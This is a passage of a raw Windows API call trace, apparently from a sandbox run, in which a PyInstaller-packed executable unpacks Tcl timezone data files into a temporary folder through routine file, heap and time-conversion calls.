lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.066] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.066] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.066] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.066] CloseHandle (hObject=0x10c) returned 1 [0038.066] GetLastError () returned 0x0 [0038.066] SetLastError (dwErrCode=0x0) [0038.066] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.066] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.066] GetFileType (hFile=0x10c) returned 0x1 [0038.066] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.066] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.066] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.066] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.066] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.067] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.067] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.067] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.067] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.067] CloseHandle (hObject=0x10c) returned 1 [0038.067] GetLastError () returned 0x0 [0038.067] SetLastError (dwErrCode=0x0) [0038.067] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bangui") returned 70 [0038.067] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bangui" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\bangui"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.067] GetLastError () returned 0x2 [0038.067] SetLastError (dwErrCode=0x2) [0038.067] GetLastError () returned 0x2 [0038.067] SetLastError (dwErrCode=0x2) [0038.067] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bangui", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bangui", lpFilePart=0x0) returned 0x45 [0038.067] GetLastError () returned 0x2 [0038.067] SetLastError (dwErrCode=0x2) [0038.067] GetLastError () returned 0x2 [0038.067] SetLastError (dwErrCode=0x2) [0038.067] GetLastError () returned 0x2 [0038.067] SetLastError (dwErrCode=0x2) [0038.067] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bangui") returned 70 [0038.067] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.067] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bangui" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\bangui"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.068] GetFileType (hFile=0x10c) returned 0x1 [0038.068] htonl (hostlong=0x8f000000) returned 0x8f [0038.068] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.068] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x8f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x8f, lpOverlapped=0x0) returned 1 [0038.069] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.069] CloseHandle (hObject=0x10c) returned 1 [0038.069] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.069] htonl (hostlong=0x30000000) returned 0x30 [0038.069] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.069] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.069] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.070] GetFileType (hFile=0x10c) returned 0x1 [0038.070] htonl (hostlong=0x92395800) returned 0x583992 [0038.070] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ce992, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.070] htonl (hostlong=0x9f000000) returned 0x9f [0038.070] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0038.070] htonl (hostlong=0x9f000000) returned 0x9f [0038.070] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.070] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.070] htonl (hostlong=0xc8000000) returned 0xc8 [0038.070] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc8) returned 0x550600 [0038.070] htonl (hostlong=0x9f000000) returned 0x9f [0038.070] htonl (hostlong=0xc8000000) returned 0xc8 [0038.070] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.070] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.070] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.070] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.070] CloseHandle (hObject=0x10c) returned 1 [0038.070] GetLastError () returned 0x0 [0038.070] SetLastError (dwErrCode=0x0) [0038.070] GetLastError () returned 0x0 [0038.070] SetLastError (dwErrCode=0x0) [0038.070] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.070] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.070] GetFileType (hFile=0x10c) returned 0x1 [0038.071] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.071] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.071] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.071] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.071] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.071] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.071] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.071] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.071] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.071] CloseHandle (hObject=0x10c) returned 1 [0038.071] GetLastError () returned 0x0 [0038.071] SetLastError (dwErrCode=0x0) [0038.071] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.071] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.071] GetFileType (hFile=0x10c) returned 0x1 [0038.071] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.071] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.071] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.071] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.071] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.071] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.071] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.071] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.071] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.072] CloseHandle (hObject=0x10c) returned 1 [0038.072] GetLastError () returned 0x0 [0038.072] SetLastError (dwErrCode=0x0) [0038.072] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.072] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.072] GetFileType (hFile=0x10c) returned 0x1 [0038.072] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.072] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.072] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.072] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.072] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.072] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.072] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.072] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.072] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.072] CloseHandle (hObject=0x10c) returned 1 [0038.072] GetLastError () returned 0x0 [0038.072] SetLastError (dwErrCode=0x0) [0038.072] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Banjul") returned 70 [0038.072] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Banjul" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\banjul"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.072] GetLastError () returned 0x2 [0038.072] SetLastError (dwErrCode=0x2) [0038.072] GetLastError () returned 0x2 [0038.072] SetLastError (dwErrCode=0x2) [0038.073] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Banjul", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Banjul", lpFilePart=0x0) returned 0x45 [0038.073] GetLastError () returned 0x2 [0038.073] SetLastError (dwErrCode=0x2) [0038.073] GetLastError () returned 0x2 [0038.073] SetLastError (dwErrCode=0x2) [0038.073] GetLastError () returned 0x2 [0038.073] SetLastError (dwErrCode=0x2) [0038.073] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Banjul") returned 70 [0038.073] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.073] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Banjul" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\banjul"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.073] GetFileType (hFile=0x10c) returned 0x1 [0038.073] htonl (hostlong=0xc8000000) returned 0xc8 [0038.073] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.073] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xc8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xc8, lpOverlapped=0x0) returned 1 [0038.074] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.074] CloseHandle (hObject=0x10c) returned 1 [0038.075] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.075] htonl (hostlong=0x30000000) returned 0x30 [0038.075] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.075] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.075] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.075] GetFileType (hFile=0x10c) returned 0x1 [0038.075] htonl (hostlong=0x313a5800) returned 0x583a31 [0038.075] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5cea31, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.075] htonl (hostlong=0x96000000) returned 0x96 [0038.075] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x96) returned 0x55cfe0 [0038.075] htonl (hostlong=0x96000000) returned 0x96 [0038.075] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.075] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.075] htonl (hostlong=0xa9000000) returned 0xa9 [0038.075] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa9) returned 0x550600 [0038.075] htonl (hostlong=0x96000000) returned 0x96 [0038.075] htonl (hostlong=0xa9000000) returned 0xa9 [0038.075] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.075] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.075] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.075] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.075] CloseHandle (hObject=0x10c) returned 1 [0038.075] GetLastError () returned 0x0 [0038.076] SetLastError (dwErrCode=0x0) [0038.076] GetLastError () returned 0x0 [0038.076] SetLastError (dwErrCode=0x0) [0038.076] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.076] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.076] GetFileType (hFile=0x10c) returned 0x1 [0038.076] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.076] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.076] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.076] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.076] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.076] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.076] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.076] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.076] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.076] CloseHandle (hObject=0x10c) returned 1 [0038.076] GetLastError () returned 0x0 [0038.076] SetLastError (dwErrCode=0x0) [0038.076] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.076] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.076] GetFileType (hFile=0x10c) returned 0x1 [0038.076] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.076] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.076] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.076] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.077] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.077] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.077] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.077] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.077] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.077] CloseHandle (hObject=0x10c) returned 1 [0038.077] GetLastError () returned 0x0 [0038.077] SetLastError (dwErrCode=0x0) [0038.077] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.077] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.077] GetFileType (hFile=0x10c) returned 0x1 [0038.077] 